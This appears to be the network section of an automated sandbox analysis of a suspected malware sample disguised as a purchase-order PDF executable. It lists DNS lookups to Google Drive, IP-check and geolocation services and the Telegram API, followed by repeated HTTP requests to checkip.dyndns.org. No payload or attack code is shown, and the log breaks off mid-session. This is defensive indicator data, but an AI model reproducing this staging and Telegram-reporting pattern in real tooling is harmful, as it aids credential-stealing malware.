Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 15:29:20.939297915 CET	192.168.2.5	1.1.1.1	0xca5	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:29:23.930536032 CET	192.168.2.5	1.1.1.1	0x3bfa	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:29:29.782740116 CET	192.168.2.5	1.1.1.1	0x2b9	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:29:32.160598993 CET	192.168.2.5	1.1.1.1	0x25a1	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:29:39.969598055 CET	192.168.2.5	1.1.1.1	0xd70c	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:30:40.116313934 CET	192.168.2.5	1.1.1.1	0xfe4d	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 15:29:21.076962948 CET	1.1.1.1	192.168.2.5	0xca5	No error (0)	drive.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:29:24.069997072 CET	1.1.1.1	192.168.2.5	0x3bfa	No error (0)	drive.usercontent.google.com		172.217.17.65	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:29:29.919830084 CET	1.1.1.1	192.168.2.5	0x2b9	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 15:29:29.919830084 CET	1.1.1.1	192.168.2.5	0x2b9	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:29:29.919830084 CET	1.1.1.1	192.168.2.5	0x2b9	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:29:29.919830084 CET	1.1.1.1	192.168.2.5	0x2b9	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:29:29.919830084 CET	1.1.1.1	192.168.2.5	0x2b9	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:29:29.919830084 CET	1.1.1.1	192.168.2.5	0x2b9	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:29:32.305747986 CET	1.1.1.1	192.168.2.5	0x25a1	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:29:32.305747986 CET	1.1.1.1	192.168.2.5	0x25a1	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:29:40.107425928 CET	1.1.1.1	192.168.2.5	0xd70c	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:30:40.337245941 CET	1.1.1.1	192.168.2.5	0xfe4d	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49733	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:29:30.046780109 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:29:31.375972986 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:29:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1084d967f12af3d5426628ad11a20812 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 19, 2024 15:29:31.381685019 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 19, 2024 15:29:31.858283043 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:29:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d4ae3ba230b1760d33d9212c7dffdb57 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 19, 2024 15:29:39.514564991 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 19, 2024 15:29:39.965440035 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:29:39 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: eff6cccc9394ea7327b93da11469335b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49761	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:29:42.443367004 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 19, 2024 15:29:43.795205116 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:29:43 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a24f3dc5af1066135f8ab3a026968abe Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49772	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:29:46.028143883 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:29:47.349688053 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:29:47 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6c52f9d02659fce1e553fe782006e0a7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49781	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:29:49.521976948 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:29:50.827419996 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:29:50 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: bdfe6f16ea2bc101b05afd8f5c6f8959 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49791	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:29:53.120652914 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:29:54.436521053 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:29:54 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4237baf2cc929753c5f89b919ca5c90b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49802	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:29:56.689657927 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:29:58.008605003 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:29:57 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3bd6469774720e444cd4a5540a29e925 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49811	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:30:00.156553030 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:30:06.891166925 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:30:06 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0395a5a7e264ff947143007ee9d193f9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49833	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:30:09.131577969 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:30:19.378699064 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:30:19 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cb4df60cbd8e60b20cd155eeb0a29df2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49864	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:30:21.603665113 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:30:23.809283972 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:30:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 78fc99b73e33d1d5a47f87a8ebbc1ef3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49877	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:30:26.205121994 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:30:28.553240061 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:30:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9d3557130314f3602e56edf262d1fbac Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49889	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:30:30.846122026 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:30:32.161087990 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:30:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: dd76d74befc7552e2cd49295447fc8ac Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49899	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:30:34.371108055 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:30:35.676954031 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:30:35 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 028e7e640559797d8e7b48c44d23b35f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49908	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:30:37.811099052 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:30:40.115158081 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:30:39 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d5f797c4048e579277417e64004725d9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49923	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:30:42.523655891 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:30:43.826448917 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:30:43 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0ffa5e611f5631924d04246ae6fd38df Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49931	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:30:45.977520943 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:30:48.282063961 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:30:48 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c25bc7f3b90bcd2de4a52b7c719db26a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49942	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:30:50.445310116 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:30:51.756139040 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:30:51 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 944ea4f58e67109016f61d0855bec76c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49952	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:30:53.903964043 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:30:55.210642099 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:30:55 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b1323cfa88068d754c10517fef6a21b4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49961	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:30:57.381041050 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
